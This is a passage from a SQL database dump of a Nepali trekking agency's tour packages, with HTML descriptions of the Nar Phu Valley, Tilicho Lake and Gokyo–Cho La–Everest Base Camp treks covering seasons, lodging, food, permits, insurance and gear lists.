the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Nar Phu Valley, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. The attached room is possible in low altitude but in high altitude after entering from Koto village to Nar Phu Valley, there will be very basic Tea house Room with Beds.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Nar Phu Valley. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Annapurna region of Nar Phu Valley, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Besisahar, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Annapurna Circuit till we reach Koto Vilalge except Nar Phu Valley. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. But inside Nar Phu Valley, Both network NCELL and NTC network is not reachable. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Nar Phu Valley, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. But in Lower part before, there are attached bath room with toilet and shower inside. After we enter to Nar Phu valley from koto village, Toliet and Shower must be used by turn by turn.But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Annapurna Circuit with Nar Phu Valley.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Nar Phu Valley. We suggest trekkers to make plan to be covered up to 5500 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Annapurna Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Nar Phu Valley is situated inside the territory of Annapurna Conservation Area which is the first conservation area of Nepal. Foreign Trekkers are required to obtain permit to entry Annapurna Circuit Trek and Nar Phu Valley such as ACAP Permit and TIMS.&nbsp;<br><br>ACAP is known as Annapurna Conservation Area permit which cost 30$ per person. Permits can be purchased in Nepal Tourism Board by our company. TIMS is not required for restricted trekking region of Nepal. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Besisahar. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.<br><br>About special permit cost of Nar Phu valley, September to November is $90 per person for a week and December to August $75. Nar Phu Valley is restricted area, without a trekking guide, foreign tourist cannot enter inside this valley.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Nar Phu Valley, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Nar Phu Valley. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Nar Phu Valley.&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:square;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit ( Though our guide also have First Aid Kit)</li></ul><p>&nbsp;</p>', 'Nar Phu Valley Trekking | Nar Phu Valley Trekking Cost 2024 | Adventure Planner', 'Explore on an unforgettable adventure with our Nar Phu Valley Trekking package! Explore the breathtaking landscapes, rich culture, and unique traditions of this hidden gem in Nepal. Book your trek now at Adventures Planner for an extraordinary experience!', 'Nar Phu Valley,Nar Phu Valley Trekking, nNar Phu Valley Trekking cost and itinerary 2024, Nar Phu Valley Trek, trekking in Nepal, adventure trekking, hidden valleys, Himalayan treks, cultural experience, remote trekking routes, adventure planner', NULL, '2023-07-16 10:40:12', '2024-12-31 06:47:22'),
(22, 'Tilicho Lake Trekking', 'tilicho-lake-trekking', '386', NULL, '386,387,389,390,388', 1, '<p style=\"text-align:justify;\">Tilicho is the world highest glacial Lake situated in the lap of Annapurna Himalayas with an elevation of 4,949m above sea level. Tilicho Lake is one of the popular trekking route for adventure seekers and lovers who like to avoid crowd, encounter off the beaten path trekking trail with exciting isolated landscape.&nbsp;<br><br>Trekkers can combine Tilicho Lake trekking with Annapurna circuit having 3-4 Days extra; avoid the main trail from Manang, explore Tilicho Lake and again meet with Annapurna circuit route in Yak Kharka. Tilicho Lake is the main highlight of this trekking trail in which early in the morning our Guide lead the way to Tilicho from Base Camp to explore amazing sunrise view with surrounding Himalayan range including Tilicho Peak 7,134 m. we start our trek after having private transport drive from Kathmandu to Jagat; begin trek to Dharapani, Chame, Upper Pisang, Manang, Shree Kharka, Tilicho Base Camp, Tilicho Lake and end the trek in Jomsom after crossing world\'s highest pass Thorong La (5,416m) of Annapurna region.&nbsp;<br><br>Trekking to Tilicho Lake is quite risk due to stone fall on the trekking trail in some Places, so need attention while crossing the path of Tilicho. We escape the main trail of Annapurna from Manang and need to cross villages such as Khangsar and Shree Kharka before the final approach to Tilicho Base Camp. The trekking to Tilicho Lake comprises the vivid experience of low land life style of Hinduism and Highland classical living standard of Tibetan Buddhism with magnificent view of white Himalayan Peaks.&nbsp;<br><br>During adventure trekking trail to Tilicho Lake , we can have amazing Himalayan Peaks such as Tilicho Peak ( 7,134m), Annapurna II (7,937m), Annapurna III (7,555), Annapurna IV (7,525m), Tilicho Peak (7,134m), Gangapurna (7,455m), Lamjung Himal (6,983m), Mt. Manaslu (8,163m), Pisang Peak (6091m), Chulu East (6,584m), Chulu West (6,419m), Machhapuchare (6,993m), &nbsp;Nilgiri (7,041m) with massive range of 7th and 10th highest Mountain of the world called Dhaulagiri (8,167m) and Annapurna I (8,091m).</p><p style=\"text-align:justify;\">&nbsp;</p><h5 style=\"text-align:justify;\">Highlights&nbsp;</h5><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Encounter world highest Lake Tilicho with off the beaten trail&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Cross adventure Himalayan Pass of Thorong La (5416m)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Fly over world’s deepest gorge between Annapurna and Dhaulagiri Range</li><li style=\"list-style-type:square;text-align:justify;\">Encounter classical Tibetan villages of Manang, Pisang and Jharkot</li><li style=\"list-style-type:square;text-align:justify;\">Visit popular &nbsp;Hindu Temple called Muktinath</li><li style=\"list-style-type:square;text-align:justify;\">Diverse geographical landscape, Historical Buddhist pilgrimage during the trail</li><li style=\"list-style-type:square;text-align:justify;\">7th and 10th highest mountain of the world called Annapurna I (8,091m) and Dhaulagiri (8,167m)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Magnificent view of Annapurna range from Upper Pisang&nbsp;<br>&nbsp;</li></ul>', 'Tilicho is the world highest glacial Lake situated in the lap of Annapurna Himalayas with an elevation of 4,949m above sea level. Tilicho Lake is one of the popular trekking route for adventure seekers and lovers who like to avoid crowd, encounter off the beaten path trekking trail with exciting isolated landscape.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul><li>Airport Pickup and drop in Private Transport&nbsp;</li><li>3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only&nbsp;</li><li>Jomsom-Pokhara flight, &amp; Pokhara to Kathmandu Flight&nbsp;</li><li>Guide flight Ticket Jomsom - Pokhara – Kathmandu</li><li>Kathmandu to Besisahar drive By Private Transport and Besisahar to Jagat Drive by Private Jeep&nbsp;</li><li>English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li>Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation (2 tourist have 1 porter, carries 25 kg – 30 kg)&nbsp;</li><li>Twin share Tea House Accommodation with Breakfast only during Annapurna Circuit Trekking + Tilicho Lake</li><li>Annapurna Conservation Area Project Permit, TIMS and all Documents for Annapurna Trekking</li><li>Nepal Government Taxes and Office Service Charge</li></ul><p>&nbsp;</p>', '<ul><li>Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li>Lunch &amp; Dinner during Tilicho Lake Trekking</li><li>Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li>International Flight Ticket</li><li>Personal Trekking /Travel Insurance&nbsp;</li><li>Personal Trekking equipment and Clothes</li><li>Personal expenses during Trekking&nbsp;</li><li>Tips for Guide &amp; Porter<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Jomsom – Pokhara Flight&nbsp;</h2><p style=\"text-align:justify;\"><br>Jomsom airport is one of the most exciting airport in the world where in peak seasons, the airport becomes very busy with many flights from Pokhara. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. &nbsp;Due to wind, on the route sometime the weather change immediately. The Hindu pilgrimage from Nepal and India fly to Jomsom from Pokhara for visiting Muktinath Temple. If there will be uncertainty Pokhara flight from Jomsom due to weather, we also have alternative Jeep drive to Pokhara from Jomsom, takes 9- 10 hour drive. But we wish best weather and have good flight to Pokhara. Your flight will be early in the morning to Pokhara with our guide from Jomsom.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek Annapurna Circuit with Tilicho? &nbsp;You do not need to be a good Football player or Olympic athlete to success Annapurna Cirucit trek and Tilicho Lake. Sometime, we have many experience of young people failing to reach Annapurna Circuit and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Annapurna Circuit. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Annapurna with happy mood are the hallmarks of your successful journey to destination. Though, Annapurna Cirucit is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Annapurna Circuit with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Annapurna Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Annapurna Circuit with Tilicho Lake, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Annapurna Circuit is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Annapurna Circuit and Tilicho Lake, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. The attached room is possible in low altitude but in high altitude after Manang, there will be very basic Tea house Room with Beds. But we provide best tea house accommodation where possible during trekking route.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Annapurna Circuit. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip. &nbsp;Our guide will be with group from Kathmandu to Kathmandu. Per Porter carries 25 kg – 30 kg maximum.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Annapurna region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Jomsom, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Annapurna Circuit except after Manang to Thoron La Pass and Tilicho Lake section. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Annapurna Circuit, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. But in Lower part before, there are attached bath room with toilet and shower inside. Bucket Shower is possible in high altitude after Manang Village due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Annapurna Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 5500 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Annapurna Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Annapurna Circuit is situated inside the territory of Annapurna Conservation Area which is the first conservation area of Nepal. Foreign Trekkers are required to obtain permit to entry Annapurna Circuit Trek such as ACAP Permit and TIMS.&nbsp;<br><br>ACAP is known as Annapurna Conservation Area permit which cost 30$ per person where is 10$ for TIMS (Trekking Information Management System). Permits and TIMS can be purchased in Nepal Tourism Board by our company. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Annapurna Circuit and Tilicho Lake, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Circuit. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Annapurna Circuit Trek with TIlicho Lake&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Sleeping Bag (-20)</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">&nbsp;Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)</li></ul><p>&nbsp;</p>', 'Tilicho Lake Trekking | Tilicho Lake Trekking in Nepal 2025', 'Discover the beauty of Tilicho Lake with a thrilling trekking adventure from Adventures Planner. Hike through the Annapurna region, reach the world’s highest lake, and enjoy stunning mountain views. Book your Tilicho Lake trek today!', 'Tilicho Lake trekking, Tilicho Lake Nepal, Tilicho Lake Trekking Adventure, Explore Nepal\'s Highest Lake,Annapurna trekking, highest lake in the world, Tilicho Lake hike, trekking in Nepal, Tilicho Lake Annapurna, Annapurna region trek, Nepal trekking tours, Adventures Planner', NULL, '2023-07-16 11:20:37', '2024-12-31 06:49:28');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(23, 'Gokyo – Chola Pass – Everest Base Camp Trekking', 'gokyo-chola-pass-everest-base-camp-trekking', '59', NULL, '59,89,57,332,331', 1, '<p style=\"text-align:justify;\">Gokyo Chola Pass and Everest Base Camp is an alternative, challenging and extreme adventure trekking trail towards top of the world experiencing unique Sherpa Culture, incredible Himalayan Pass, breathtaking Himalayan view of Everest region, and climbing fascination of Gokyo Ri (5,375m) and Kala patthar (5,545m). This trekking trail gives to you an extraordinary recollection in lifetime due to unique Himalayan beauty, classical Sherpa settlement, soundless Gokyo Lake, glaciers, Tengboche monastery, Chortens, Mani Wall, hospitable local people, marvelous suspension bridges, scenic mountain flight from Kathmandu to Lukla and adventure Cho La Pass ( 5,420m).&nbsp;<br><br>Gokyo Chola Pass and Everest Base Camp Trekking offers magnificent Himalayan view above 8000 meters such as Mt. Everest (8,848m), Makalu (8,475m), Cho-Oyu (8,153m), and Lhotse (8,511m). Similarly, on the trekking trail, we can have gorgeous scenery of Thamserku (6,623m), Ama Dablam (6,812m), Nuptse (7,861m), Kangtega (6,782m), Taboche (6,542m), Cholatse (6,440m), Pumori (7,161m) and more shiny mountains with massive Ngozumpa and Khumbu glacier. This trekking route offers adventure journey to Everest Base Camp by experiencing unique Sherpa culture and their lifestyle. It is equally very important to encounter classical old Buddhist Monastery and its origin that was transmitted many years ago from Tibet.&nbsp;<br><br>The adventure trekking to Gokyo Chola Pass and Everest base Camp begins after having 40 minutes scenic flight to Lukla from Kathmandu with an elevation of 2800m and even the trekking ends in Lukla after completing whole route. To entry to this region, we need Sagarmatha National Park Permit and Khumbu Pasang Lamu Rural Municipality permit. The best time to trek on this route is in spring (March-May) and autumn season (September-November). The temperature becomes moderately warm and stable during this time and it is best time for Everest Trekking having blue sky, good weather and less snow with magnificent Mountain View.&nbsp;<br><br>Gokyo Chola Pass and Everest Base Camp Trekking is an exciting trek; need appropriate physical exercise without any requirement of technical skills. All the day we walk 5-6 hours starting from Tenzing Hilary Airport, Lukla and head up to Phakding, Namche Bazaar, Dole, Gokyo Lake, Cho La Pass, Lobuche, Everest Base Camp and down to Pheriche, Pangboche, Tengboche, and Lukla. High altitude is the most essential things that trekkers need to consider while trekking to this route. We have to sleep above 4000 meters 6 -7 nights so need enough drinking water and no stress for avoiding Mountain Sickness.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">&nbsp; &nbsp; Highlights&nbsp;</h4><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Cultural and historical tour of Kathmandu&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Embark scenic mountain flight to Lukla from Kathmandu</li><li style=\"list-style-type:square;text-align:justify;\">Encounter breathtaking Himalayan view of Everest Region&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Adventure Gokyo Ri and Kala patthar climbing, Frozen Glacier and soundless Gokyo Lake</li><li style=\"list-style-type:square;text-align:justify;\">Explore classical Sherpa settlement and their life style</li><li style=\"list-style-type:square;text-align:justify;\">Old Buddhist Monastery, Chortens, Mani Wall&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Suspension bridge of Jhorsalle,&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Amazing residence of Namche Bazzar&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Everest Base Camp, Old Pangboche Village, Tengboche Monastery</li><li style=\"list-style-type:square;text-align:justify;\">Adventure Himalayan Pass of Cho La (5,420m)&nbsp;<br>&nbsp;</li></ul>', 'Gokyo Chola Pass and Everest Base Camp is an alternative, challenging and extreme adventure trekking trail towards top of the world experiencing unique Sherpa Culture, incredible Himalayan 